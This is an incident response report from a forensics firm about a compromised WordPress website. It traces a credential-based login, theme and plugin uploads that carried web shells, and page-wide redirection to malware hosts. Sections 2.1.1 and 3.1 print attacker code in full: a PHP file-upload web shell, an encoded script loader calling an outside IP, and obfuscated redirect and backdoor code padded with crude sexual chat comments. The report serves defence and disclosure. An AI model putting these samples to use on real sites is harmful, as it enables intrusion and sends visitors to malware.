Report for:

Analysis of 18.in Compromise

Customer

December 2022

Version: 1.0

Prepared By: Archan Choudhury

Email:

Telephone:

Executive Summary

This report presents the findings of the incident response investigation conducted on behalf of Customer. The investigation was conducted between 05/12/2022 and 17/12/2022 and was authorised by Customer.

On 04/12/2022 Customer became aware that a website they maintain had been compromised and was redirecting traffic to a hostile domain. Customer wished to establish how unauthorised access had been gained to the web server, identify whether any sensitive data had been exposed and exfiltrated by the attackers and whether other domains hosted on the web server had been compromised.

Overview

The `www.18.in` website was initially accessed by attackers on 03/10/2022. The attacker gained access using WordPress credentials. The attacker then used these credentials to upload a number of different WordPress themes which contained web shell code and gave the attackers the ability to gain root access to the server.

On 26/11/2022 the attackers used the web shells to modify over 1000 webpages to redirect visitors to a malicious website.

It was not possible to identify if the attackers had exfiltrated any data using the web shells during the attack. It is possible that these web shells will have allowed the attacker to extract all user accounts and hashed passwords from the host. There was no evidence that the attackers had gained unauthorised access to any other sites hosted on the server.

In addition to the unauthorised activity on this website, the review of the server revealed a number of other malicious files identified within the folders for the sites `www.xxx.co.id`, `www.xxx.co.id` and `www.xxx.mobi`. The majority of these files appear to have been created on 19/03/2022 possibly as part of a backup or migration event. These web shell files will have given an attacker potential root access to the server. No evidence of attacker activity could be found within the logs for these websites, this is likely due to the historic nature of this attack.

Investigation Summary

The user initially gained access to the `www.18.in` website on 03/10/2022 using `wp-login.php` credentials for the page. The attacker then uploaded a number of different WordPress `upload-theme` themes using the action and a WordPress plugin using `plugin-install`. These themes and plugins were uploaded on a number of occasions between 03/10/2022 and 26/11/2022. The uploaded themes were:

- Autograph
- Neve
- Pridmag
- Simpelli
- Sketch.2.5.0

Although some of the themes were subsequently deleted by the attackers, the uploaded zips were recovered from the Uploads folder and were found to contain web shell code.

The plugin installed by the attackers was named `7zform_WP`. The plugin was found to contain a link to code hosted on an external site which would have redirected users to the malicious site.

On 26/11/2022 the attackers installed the `neve` theme which appears to have modified over 1000 pages on the website. These pages were modified to redirect visitors to an external website. This website appears to have been used to host malicious code. There was no evidence that the attackers exfiltrated data from the servers. However, the web shell files which were uploaded would have given the attackers the ability to extract data from databases attached to the site as well as root accounts and password hashes.

The attackers accessed the site from multiple IP addresses geolocated in Ukraine, Canada and the USA amongst others. However, similarity of tactics and techniques indicates that the attackers were either the same individuals using a VPN service or were acting in a coordinated fashion.

More detailed technical information is included in Section 2 of this report.

Strategic Recommendations

- Reset all user account passwords for the web server using strong unique passwords.
- Reset all WordPress credentials for all sites hosted on the server using strong unique passwords.
- Use .htaccess to restrict upload by file type[1].
- Use .htaccess to restrict access to /wp-admin and /wp-login to only whitelisted IP addresses.
- Consider adding multifactor authentication to WordPress administration login[2].
- Ensure WordPress and all required plugins are regularly updated.
- Modify Web Application Firewalls to alert for any upload-theme or upload-plugin POST actions.

[1] https://www.cloudways.com/blog/protect-wordpress-with-htaccess/

[2] https://codex.wordpress.org/Two_Step_Authentication#Plugins_for_Two-Step_Authentication

Table of Contents

Using This Report

To facilitate the dissemination of the information within this report throughout your organisation, this document has been divided into the following clearly marked and separable sections.

Document Breakdown		
	Executive Summary	Management level, strategic overview of the investigation
1	Technical Summary	An overview of the investigation from a more technical perspective, including a defined scope and any caveats which may apply
2	Technical Details	Detailed discussion (including evidence and recommendations) for each finding that was identified
3	Supplemental Data	Any additional evidence which was too lengthy to include in Section 2
4	Appendices	This section usually includes the security tools which were used, outlines the investigation methodologies and lists the investigation team members

Document Control

Client Confidentiality

This document contains Client Confidential information and may not be copied without written permission.

Proprietary Information

The content of this document should be considered proprietary information and should not be disclosed outside of Customer.

BLACKPERL DFIR gives permission to copy this report for the purposes of disseminating information within your organisation or any regulatory agency.

Document Version Control	
Data Classification	Client Confidential
Client Name	Customer
Project Reference	65543
Proposal Reference	P85386
Document Title	Analysis of 18.in Compromise
Author	Archan Choudhury

Document History

Issue No.	Issue Date	Issued By	Change Description
0.1	18/12/2022	Archan Choudhury	Draft for BLACKPERL DFIR internal review only
0.2	21/12/2022		Revised QA
1.0			Released to client

Document Distribution List	
	Project Sponsor, Customer
Archan Choudhury	DFIR Consultant, BLACKPERL DFIR
	Account Manager, BLACKPERL DFIR

1 Technical Summary

BLACKPERL DFIR was contracted by Customer to conduct an incident response investigation of a compromised web server.

1.1 Scope

Access to the server was provided by Customer initially via SFTP and then via SSH. BLACKPERL DFIR took a logical copy of the \data\www.18.in subfolder and then a forensic image of all three virtual disks over SSH as follows:

Description	File Name	MD5 Hash
Data disk image	nvme2n1.dd	1232921827800e7c173e16088c828f96
Operating System disk image	nvme0n1.dd	ded4781c824bab1518f7729f1a900b3f
Additional disk image	nvme1n1.dd	021fbd25c240c77f63c59e414482f4c3

The scope was defined to include the whole device to ensure that access to other folders had not been gained by the attackers.

The investigation was to identify how the host had been compromised and to establish if any data had been exfiltrated.

1.2 Caveats

BLACKPERL DFIR can only make statements of fact, based on the evidence obtained during the investigation.

BLACKPERL DFIR can make no assessment based on data which was not provided or which was never retained, for example where adequate logging was not configured or where previous log data had been overwritten.

1.3 Findings Overview

The following is a timeline of significant activities:

Date/Time (UTC)	Activity
03/10/2022	Attacker successfully logs in to `wp-login.php` from IP address geolocated in Canada. 198.27.83[.]216. Address resolves to OVH hosting Attacker attempted `upload theme` action through the WordPress update `/wp-admin/update.php?action=theme-edit-theme` and page actions.
21/10/2022 to	Attackers conduct `upload theme` actions through the WordPress update

26/11/2022	page resulting in the successful upload of multiple files containing malicious web shells.
05/11/2022 to 17/11/2022	Attackers conduct `upload-plugin` actions through the WordPress update page `/wp-admin/update.php?action=upload-plugin.` This appears to have caused errors when installation was attempted and it is not clear if the attempt was successful.
26/11/2022	Attacker uploads `neve` theme and accesses `/wp-content/themes/neve/db.php` which adds malicious redirection code to website.
04/12/2022 17:19:49	Last activity by attacker on website.

It was not possible to identify the specific functions of the web shells added to the site. However, as well as allowing file modification, web shells often allow retrieval of user account names and password hashes.

1.4 Evidence of Historic Attack

During the investigation, evidence of an apparently unrelated attack was identified. A number of files within the WordPress content for the websites `www.xxx.co.id`, `www.xxx.co.id` and `www.xxx.mobi` were found to be web shell files.

The files appear to have been created either in March 2022 or earlier. The majority of the files (malicious or otherwise) from these sites have a created date of 19/03/2022, which indicates that this may be the date of a migration, update or restore event. Therefore it is not possible to say with any certainty when the attackers had access to these sites. The web logs for the affected sites did not cover this period and showed no external access to any of the web shells. Therefore it was not possible to identify what actions may have been performed with them.

2 Technical Details

The remainder of this document is technical in nature and provides additional detail about the items already discussed.

2.1 Detailed Findings

2.1.1 Forensic Investigation of Webserver

Analysis of interaction with web shells

During the incident, the attackers uploaded eight WordPress themes, however much of the content of these uploads appear to be duplications. All the installed themes were deleted by the attackers although the uploaded zip archives containing some of the themes were recovered from the upload folder `\www.18.in\wp-content\uploads\2022`. Within these zip archives, the following malicious web shell files were identified:

Name	Partial path	Upload Date	Hash (MD5)
headers.php	\10\ss-infinity.zip\ss-infinity\	05/10/2022	ca57c7f016caa36c1c12847fc1842344
headers.php	\10\ss-infinity-1.zip\ss-infinity\	07/10/2022	ca57c7f016caa36c1c12847fc1842344
headers.php	\10\ss-infinity-2.zip\ss-infinity\	07/10/2022	ca57c7f016caa36c1c12847fc1842344

headers.php	\10\ss-infinity-3.zip\ss-infinity\	07/10/2022	ca57c7f016caa36c1c12847fc1842344
content.php	\10\simppeli-3.zip\simppeli\template-parts\	21/10/2022	b476303d99bf315539248d0dbb2acf1c
content.php	\10\simppeli-1.zip\simppeli\template-parts\	21/10/2022	b476303d99bf315539248d0dbb2acf1c
content.php	\10\simppeli-2.zip\simppeli\template-parts\	22/10/2022	b476303d99bf315539248d0dbb2acf1c
content.php	\10\simppeli.zip\simppeli\template-parts\	24/10/2022	b476303d99bf315539248d0dbb2acf1c
content.php	\10\autograph.1.0.0.zip\autograph\template-parts\	31/10/2022	4800abf0abc8c5762db170b882a25783
header.php	\11\sketch.2.0.5.zip\sketch\	16/11/2022	87e45a6465b79cf2c1b7dfcdd3c663b2
404.php	\11\sketch.2.0.5.zip\sketch\	16/11/2022	7a265ac9a03d776d22334d474179301e
header.php	\11\sketch.2.0.5-1.zip\sketch\	17/11/2022	87e45a6465b79cf2c1b7dfcdd3c663b2
404.php	\11\sketch.2.0.5-1.zip\sketch\	17/11/2022	356f784bca9e9fb478e984e7296b1653
db.php	\11\pridmag.zip\pridmag\	21/11/2022	7c18d3a592cd9396ccb10c15403b2643

A further zip named `neme.zip` was uploaded on 26/11/2022 although the file was subsequently deleted by the attackers and the contents could not be analysed.

The attackers conducted a number of interactions with the web shell file `db.php`. This file was found to contain code for uploading additional files to the server:

```
<?php error_reporting(0);chmod(basename($_SERVER["PHP_SELF"]),
0444);echo("#0x2525");if(isset($_GET["u"])){echo'<form action="" method="post"
enctype="multipart/form-data" name="uploader" id="uploader">';echo'<input type="file"
name="file" size="30"><input name="_upl" type="submit" id="_upl"
value="Upload"></form>';if($_POST['_upl']=="Upload"){if(@copy($_FILES['file']['tmp_name'
],$_FILES['file']['name'])){echo'Success';}else{echo'Fail';}};};
```

The attackers appear to have interacted with a number of other files which were not within the uploaded zip archives. These files were likely uploaded using the uploader code above. The files could not be recovered from the server and so their functions are unknown:

- baer.php
- st.php
- tbl_status.php
- wp-cache.php
- wp-wend.php

The actions conducted by the attackers appear to have originated from a number of different IP addresses:

IP Address	Country	City	Service Provider
134.249.49.211	Ukraine	Kyiv	Kyivstar GSM
134.249.50.44	Ukraine	Kyiv	Kyivstar GSM
185.197.75.105	Netherlands	Amsterdam	WorldStream B.V.
46.118.126.87	Ukraine	Zaporizhia	Kyivstar GSM
198.27.83.216	Canada	Montreal (Ville-Marie)	OVH Hosting
176.8.88.28	Ukraine	Kyiv	Kyivstar GSM

However, the techniques used by the attackers appear to be consistent with each other and so it is likely that these actions are all conducted by either the same individual or DFIR of individuals.

All actions conducted from suspicious IP addresses are included within the accompanying document `18.in_attacker_activity.xlsx`.

Analysis of malicious WordPress plugins

In addition to the theme files, the attackers also uploaded four copies of a WordPress plugin named `7zformWP.zip`.

The attackers appear to have made three attempts to install this plugin on 31/10/2022, 17/11/2022 and 23/11/2022.

Full path	Created	Hash (MD5)
\www.18.in\public_html\wp-content\plugins\7z_formWP\includes_bb_press_plugin.class.php	31/10/2022 01:51:43	67ddc5da110678c7dc2b1b58b835c551
\www.18.in\public_html\wp-content\plugins\7z_content\includes_bb_press_plugin.class.php	17/11/2022 03:28:25	6dc41454924268e1948432fc40f5d70f
\www.18.in\public_html\wp-content\plugins\7z_from71\includes_bb_press_plugin.class.php	23/11/2022 13:30:20	5a7500dcb0ffbefa106dda6ad6be11b2

These plugins contained malicious code hosted on an external website:

```
const SCRIPT_SRC           =
'data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU
3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSU
zNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSc
pKTs=';
```

The obfuscated portion of code resolves to `<script src="http://193.238.46[.]6/mRPPzC"></script>`. The JavaScript hosted on this site opens a webpage from `hxxps://summitshort[.]pro`. This site was found to host malware.

Analysis of the access logs for `www.18.in` indicates that these attempts to install the Word Press plugin failed:

Date/Time (UTC)	IP address	Action conducted
23/Nov/2022 13:30:18	134.249.50.44	/wp-admin/update.php?action=upload-plugin
23/Nov/2022 13:30:23	134.249.50.44	/wp-admin/plugins.php?action=activate&plugin=7z_from71/7z_from71.php&_wpnonce=b7616e7dbc

23/Nov/2022 13:30:26	134.249.50.44	/wp-admin/plugins.php?error=true&plugin=7z_from71%2F7z_from71.php&_error_nonce=4eeff90c36

Modification of website pages

On 26/11/2022 at 02:04 the attackers interacted with a file they had uploaded using the `update-theme` action: `/wp-content/themes/neve/db.php`.This appears to have triggered malicious code to be added to 1313 files on the website. The added code was as follows:

```
<?php
eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZ
r1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXD
fg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsY
TdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx+
+PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0
SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9z
r945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC
86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wM
pCvZB')));?>
```

This was found to be an obfuscated version of the following code:

```
<?php if (!empty /*Bloodninja: I lick your earlobe, and undo your watch.*/
($_SERVER["HTTP_USER_AGENT"])):
    $_ = array("Chrome", "Firefox", "Trident", "MSIE", "Windows", "Linux", "Iphone",
"Android", "Opera", "Safari");     foreach ($_ as $_):         if
(sTRipos($_SERVER["HTTP_USER_AGENT"], $_) !== /*Sarah19fca: mmmm, okay.*/
        false /*Bloodninja: I take yo pants off, grunting like a troll.*/
        ):              if
(!isset($_COOKIE["htp_uid_utm"])):
                sETcOOKIe("htp_uid_utm", "1", TiME() + 07020 /*Sarah19fca: Yeah I
like it rough.*/ * 030 /*Bloodninja: I smack you thick booty.*/ * 02);
HeadEr("Location: http://134.249.116[.]78/index.php");                 die
/*Sarah19fca: Oh yeah, that feels good.*/

                ();
endif;         endif;
endforeach;
endif;; /*Bloodninja: Smack, Smack, yeeeaahhh.*/
```

This code appears to have had irrelevant text added, likely in an additional attempt to frustrate detection. The purpose of the code was to redirect any visitors to the IP address `hxxp://134.249.116[.]78/index.php`

Analysis of this IP address identified that it was used for hosting malware. Therefore the purpose of the website compromise appears to have been to attempt to redirect users and induce them into installing malware on their systems.

In addition to injecting the redirection code, the attackers have created the file `wp-load.php` at the same time. This file was obfuscated in a similar manner to the redirection code and contains an obfuscated version of the same IP address - hxxp:`//134.249.116[.]78/`. Although the exact purpose of the file is not clear, it contains reference to the file `/wp-admin/setup-config.php` and so possibly gives functionality to recover sensitive data from the `config.php` file. A copy of the code is shown in section 3.1

Indicators of Compromise:

- eval(gzuncompress(base64_decode(

- 134.249.49[.]211
- 134.249.50[.]44
- 185.197.75[.]105
- 46.118.126[.]87
- 198.27.83[.]216
- 176.8.88[.]28
- 134.249.116[.]78
- 193.238.46[.]6
- Summitshort[.]pro

2.1.2 Analysis of historic compromise

All data on the server was analysed for evidence of further compromise. No evidence was found of websites being subjected to unauthorised access during the same incident. However, malicious code was found within a number of other sites hosted on the same server:

Full Path	Created Time (UTC)	Modified Time (UTC)	Hash (MD5)
\www.xxx.co.id\public_html\uploads\Marvins.php	19/03/2022, 02:42:35	30/08/2017, 10:00:12	bb2d2fe878cb36306135d55de3808b2b
\www.xxx.co.id\public_html\uploads\default\files\old\2017\03\editor-1.php	19/03/2022, 02:03:56	12/02/2022, 09:13:30	1e17e821bfe966cd138e9bfd9a6fb67b
\www.xxx.co.id\public_html\uploads\default\files\old\2017\03\editor.php	19/03/2022, 02:03:56	12/02/2022, 09:13:31	1e17e821bfe966cd138e9bfd9a6fb67b
\www.xxx.mobi\public_html\images\signature_attachments\themes.php	19/03/2022, 02:04:03	03/02/2017, 09:02:19	7895003ac66fa486fd4733f29c6af41b
\www.xxx.mobi\public_html\images\cache51.php	19/03/2022, 02:04:03	03/02/2017, 09:02:19	7895003ac66fa486fd4733f29c6af41b

All of these files were found to contain back-door web shell code to allow attackers to access the sites and conduct unauthorised activity. The access logs for the sites were examined and no interactions with these pages were identified. However, the access logs did not cover the time period when the files were created.

The created dates for all of the files are all the same. These dates appear to be the same for a large number of files (including those uninfected) across many of the websites hosted on the server. Therefore it is likely that the date of 19/03/2022 indicates when the sites were all migrated or restored. It is not possible to give a precise date as to when compromise occurred in these sites, it will likely have occurred at some point between the modified date of the files listed above and 19/03/2022.

3 Supplemental Data

The section below contains additional data that BLACKPERL DFIR has removed from the main body of the report for ease of readability. It has been added here for completeness.

3.1 De-obfuscated code from wp-load.php

The de-obfuscated code is shown below. The elements of the array within the code are still encoded using Base64.

`TG9jYXRpb246IGh0dHA6Ly8xMzQuMjQ5LjExNi43OC9pbmRleC5waHA=` decodes to `Location: hxxp://134.249.116.78/index.php`.

```
<?php class _ {      private
static  $_;           static
function _($_) {          if
(!self::$_):
self::_();         endif;
        return BaSe64_dECOde(self::$_[$_]); /*Bloodninja: I lick your earlobe, and undo
your watch.*/
    }
    private static function _() {           self::$_ = array("_" => "aHR0cF91aWRfdXRt",
"_" => /*Sarah19fca: mmmm, okay.*/
         "aHR0cF91aWRfdXRt", "_" => "MQ==", "_" =>
"TG9jYXRpb246IGh0dHA6Ly8xMzQuMjQ5LjExNi43OC9pbmRleC5waHA=", "_" => "QUJTUEFUSA==", "_"
=> "QUJTUEFUSA==", "_" => "Lw==", "_" => "RV9DT1JFX0VSUk9S", "_" =>
"RV9DT1JFX1dBUk5JTkc=", "_" => "RV9DT01QSUxFX0VSUk9S", "_" => "RV9FUlJPUg==", "_" =>
/*Bloodninja: I take yo pants off, grunting like a troll.*/
         "RV9XQVJOSU5H",  "_"  =>  "RV9QQVJTRQ==",  "_"  =>  /*Sarah19fca:  Yeah  I  like  it
rough.*/
         "RV9VU0VSX0VSUk9S", "_" => /*Bloodninja: I smack you thick booty.*/
         "RV9VU0VSX1dBUk5JTkc=", "_" => /*Sarah19fca: Oh yeah, that feels good.*/
         "RV9SRUNPVkVSQUJMRV9FUlJPUg==", "_" => /*Bloodninja: Smack, Smack, yeeeaahhh.*/
         "QUJTUEFUSA==", "_" => "d3AtY29uZmlnLnBocA==", "_" => "QUJTUEFUSA==", "_" =>
/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in
your crack. Mmmm.*/
         "d3AtY29uZmlnLnBocA==", "_" => "QUJTUEFUSA==", "_" => "L3dwLWNvbmZpZy5waHA=",
"_" => "QUJTUEFUSA==", "_" => "L3dwLXNldHRpbmdzLnBocA==", "_" => "QUJTUEFUSA==", "_"
=> "L3dwLWNvbmZpZy5waHA=", "_" => "V1BJTkM=", "_" => /*Sarah19fca: you like that?*/
         "d3AtaW5jbHVkZXM=", "_" => /*Bloodninja: I peel some bananas.*/
         "QUJTUEFUSA==", "_" => /*Sarah19fca: Oh, what are you gonna do with those?*/
         "V1BJTkM=", "_" => "L2xvYWQucGhw", "_" => "QUJTUEFUSA==", "_" => "V1BJTkM=",
"_" => "L2Z1bmN0aW9ucy5waHA=", "_" => "L3dwLWFkbWluL3NldHVwLWNvbmZpZy5waHA=", "_" =>
/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/
         "UkVRVUVTVF9VUkk=", "_" => "c2V0dXAtY29uZmln", "_" => /*Sarah19fca: Peanuts?*/
         "TG9jYXRpb246IA==", "_" => "V1BfQ09OVEVOVF9ESVI=", "_" => "QUJTUEFUSA==", "_"
=> "d3AtY29udGVudA==", "_" => /*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/
         "QUJTUEFUSA==", "_" => /*Sarah19fca: What are you talking about?*/
         "V1BJTkM=",  "_"  =>  "L3ZlcnNpb24ucGhw",  "_"  =>  "",  "_"  =>  /*Bloodninja:  I'm
spent,  I  jump  down  into  the  alley  and  smoke  a  fatty.  I  throw  rocks  at  the  cats.*/
"", "_" => "PC9wPg==", "_" => "PHA+", "_" => "", "_" => /*Sarah19fca: This is stupid.*/
         "", "_" => "", "_" => /*Bloodninja: Stone Cold Steve Austin gives me some beer.*/
         "", "_" => /*Bloodninja: Wanna Wrestle Stone Cold?*/
         "", "_" => "", "_" => /*Bloodninja: Yeeaahhhh.*/
        "", "_" => "", "_" => /*Sarah19fca: /ignore*/
        "", "_" => "", "_" => /*Bloodninja: Its cool stone cold she was a bitch anyway.*/
        "", "_" => "",);
    } } if
(!isset($_COOKIE[_::_("_") ])):
    SetcOokIe(_::_("_"), _::_("_"), tiME() + (int)rOUnD(1200 + 1200 + 1200) * (0356
- 0326 /*Bloodninja: We get on harleys and ride into the sunset.*/
    ) * (int)rOUnD(0.5 + 0.5 /*=====*/ + 0.5 + 0.5)); /*Bloodninja: Wanna cyber?*/
hEADER(_::_("_")); /*DirtyKate: K, but don't tell anybody ;-)*/     exit /*DirtyKate:
Who are you?*/
    (); /*Bloodninja: I've got blond hair, blue eyes, I work out a lot*/
endif; if (!defINEd(_::_("_"))):
    dEfINE(_::_("_"), DIrnamE(__FILE__) . _::_("_")); /*Bloodninja: And I have a part
time job delivering for Papa John's in my Geo Storm.*/ endif;
errOR_REPORtINg(ConsTaNt(_::_("_")) | coNsTAnT(_::_("_")) | CONSTanT(_::_("_")) |
CONstANt(_::_("_")) | ConsTaNT(_::_("_")) | cOnstanT(_::_("_")) |
CONSTaNt(_::_("_")) | coNsTaNt(_::_("_")) | cOnsTanT(_::_("_"))); if
(FilE_exIstS(cOnstaNT(_::_("_")) . _::_("_"))):
    require_once (ConstAnT(_::_("_")) . _::_("_")); /*DirtyKate: You sound sexy.. I
bet you want me in the back of your car..*/                elseif
(@fiLe_ExiSTs(DiRNAmE(ConsTant(_::_("_"))) . _::_("_")) &&
!@FIlE_Exists(diRNAMe(ConSTant(_::_("_"))) . _::_("_"))):
        require_once /*Bloodninja: Maybe some other time. You should call up Papa John's
and make an order*/
        (DirnamE(cONstANt(_::_("_"))) . _::_("_")); /*DirtyKate: Haha! OK*/
else:
            dEFinE(_::_("_"), _::_("_"));
            require_once (conSTaNt(_::_("_")) . CoNsTAnT(_::_("_")) . _::_("_"));
            _();
            require_once (constAnt(_::_("_")) . CoNStaNt(_::_("_")) . _::_("_"));
            $_ = _() . _::_("_");              if (false ===
Strpos($_SERVER[_::_("_") ], _::_("_"))):
                hEadeR(_::_("_") . $_);
                exit /*DirtyKate: Hello! I'd like an extra-EXTRA large pizza just
dripping with sauce.*/; /*Bloodninja: Well, first they would say, "Hello, this is
Papa John's, how may I help you", then they tell you the specials, and then you would
make your order. So that's an X-Large. What toppings do you want?*/
endif;
            DEfINE(_::_("_"), coNStant(_::_("_")) . _::_("_")); /*DirtyKate: I want
everything, baby!*/             require_once /*Bloodninja: Is this a delivery?*/
            (COnSTaNt(_::_("_")) . cOnstaNT(_::_("_")) . _::_("_")); /*DirtyKate:
Umm...Yes*/
            _(); /*DirtyKate: So you're bringing the pizza to my house now? Cause I'm
home alone... and I think I'll take a shower...*/
            _();
            $_ = spRIntf(_(_::_("_")), _::_("_")) . _::_("_");
            $_.= /*Bloodninja: Good. It will take about fifteen minutes to cook, and
then I'll drive to your house.*/
            _::_("_") . SPRIntF(_(_::_("_")), _(_::_("_"))) . _::_("_");
            $_.= _::_("_") . SpRinTf(_(_::_("_")), _::_("_")) . _::_("_");
            $_.= _::_("_") . $_ . _::_("_") . _(_::_("_")) . _::_("_");
_($_, _(_::_("_"))); /***pause***/
```

```
        endif;
```

4 Appendices

4.1 Analytical Terminology and Words of Estimative Probability:

BLACKPERL DFIR acknowledges that some assessments of probability are subjective in nature. In line with guidance on analytical best practice BLACKPERL DFIR:

- Uses a defined series of terms for describing the likelihood of an intelligence estimate being correct as shown in the table below:
- Periodically reviews the outcome of our assessments in the light of new information in order to increase the accuracy of future assessments and minimise cognitive biases.
- Uses reporting conventions to differentiate between factual reporting of information and the interpretation of that data, as follows:
    - **BLACKPERL DFIR ANALYST COMMENT:** Interpretation of factual information is placed between these terms. **COMMENT ENDS.**
    - **BLACKPERL DFIR ASSESSMENT:** Assessment as to the likely cause or implication of the report's findings are placed between these terms. **ASSSESSMENT ENDS.**
- Wherever possible and appropriate BLACKPERL DFIR analysts are encouraged to explicitly outline the logical process used, listing premises and resulting inferences, and highlighting assumptions and other potentially unreliable premises where they occur.

Term used	Percentage	Comment / Explanation represented
Certain	100%	Only used in the context of information for which there is a solid evidential basis, and in the absence of alternative possible hypotheses. Not an assessment, but a recording of uncontested fact.
Highly Likely Highly Probable	>95%	Although other hypotheses are logically possible, a combination of factual evidence and previous experience strongly indicates that this hypothesis is correct: a 'racing certainty'.
Probable Likely	>60%	The most likely out of several credible hypotheses. Wherever possible, BLACKPERL DFIR analysts will outline alternative hypotheses and indicate the grounds on which they have been assessed for likelihood.
Possible	N/K	Where an outcome is worthy of logical consideration, but there is insufficient data to allocate a likelihood, or where none of the other designations are considered appropriate.
Improvable / Unlikely	<40%	The inverse of Probable / Likely.
Highly Improbable Highly Unlikely	<5%	The inverse of Highly Probable / Highly Unlikely.

4.2 Methodology of Forensic Analysis

As part of the investigation conducted by BLACKPERL DFIR, a forensic process and methodology was followed in order to preserve evidence and ensure that hosts were fully analysed at the same level of detail.

Any storage medium that was provided by the client, if applicable, was imaged using a forensic write blocker in order to ensure no data was inadvertently over written or modified. Once hosts were imaged they were processed using forensic software in order to extract file system and operating system artefacts to ease analysis efforts.

The following artefacts were processed as part of this methodology.

File System Artefacts

File System artefacts such as the Master File Table (`$MFT`) are parsed and processed as part of this methodology, this artefact is used by NTFS in order to keep track of files which are currently in use on the file system. Files which have been deleted from disk can sometimes still be residual on the disk, however the `$MFT` record is removed rather than the data itself.

NTFS is designed as a redundant/recoverable file system. Any changes to files on the file system are logged to the `$LogFile` in order that files can be recovered in the case of an error. These changes include deletion of files or files which were previously residual on disk.

The Volume Shadow Copy Service (VSS) is used by Microsoft in order to preserve and backup operating system sensitive files such as registry configurations and event logs. These can sometimes provide months' worth of historic information which can be used for analysis.

Files on disk which are embedded in other file formats such as archive files like Zip and RAR were indexed along with other static files on disk in order to speed up analysis and allow querying of file names across all images. Files on disk were also hashed using the MD5 Algorithm and correlated against known white and black lists in order to filter out known good and help identify known bad.

Files which had been deleted from the disk but were either still residual or partially residual were carved for.

Microsoft Operating System Artefacts

The Application Compatibility Cache and Shim Cache are artefacts which are used by the Microsoft operating system in order to track compatibility issues with executed programs. The cache stores various file metadata depending on the operating system, such as:

- File full path
- File size
- $Standard_Information (SI) Last Modified time
- Shimcache last updated time
- Process execution flag
- SHA1 hash
- PE properties.

Prefetch artefacts are analysed and processed in order to get an understanding of what applications ran during the times where interesting activity took place. Microsoft Windows, depending on the version, creates a Prefetch file when applications are run for the first time. This Prefetch file is used by the operating system to help speed up the loading of applications during the next execution period. This Prefetch file keeps track of where the application was loaded from, what additional resources or DLLs were required to load or execute the binary, and what date and time previous executions took place.

Microsoft Event logs and other relevant application logs are extracted and reviewed for evidence. These activities included but were not limited to, failed and successful logons, remote connections, execution of applications, creation of execution of scheduled tasks, creation of modification to services, system boot events.

Antivirus logs are also reviewed in order to identify signs of malicious behaviour that had been detected and cleaned up by antivirus products.

Once these artefacts had been processed and extracted BLACKPERL DFIR are able to quickly search for other compromised hosts, if appropriate, through the use of scanning for known IOCs (Indicators of Compromise) such as file names, hashes, attackers file paths, files which had been created or modified during the attackers timeframe, etc. ***References***

https://www.fireeye.com/blog/threat-research/2012/04/leveraging-application-compatibility-cache-forensic.html

http://journeyintoir.blogspot.co.uk/2013/12/revealing-recentfilecachebcf-file.html

4.3 Tool List

The following tools were used during the investigation.

Tools Used	Description
Access Data FTK Imager	Computer forensic imaging software. http://www.accessdata.com/
EnCase Forensic	Forensic investigation software for the digital forensic process https://www.guidancesoftware.com/encase-forensic
Magnet Internet Evidence Finder (IEF)	A tool to find, analyse and report on the digital evidence from computers, smartphones and tablets https://www.magnetforensics.com/magnet-ief/
X-Ways Forensics	An advanced work environment for computer forensic examiners http://www.x-ways.net/

4.4 Investigation Team

The following members of staff were assigned to this investigation:

Name	Job Title	Comments
Archan Choudhury	DFIR Consultant	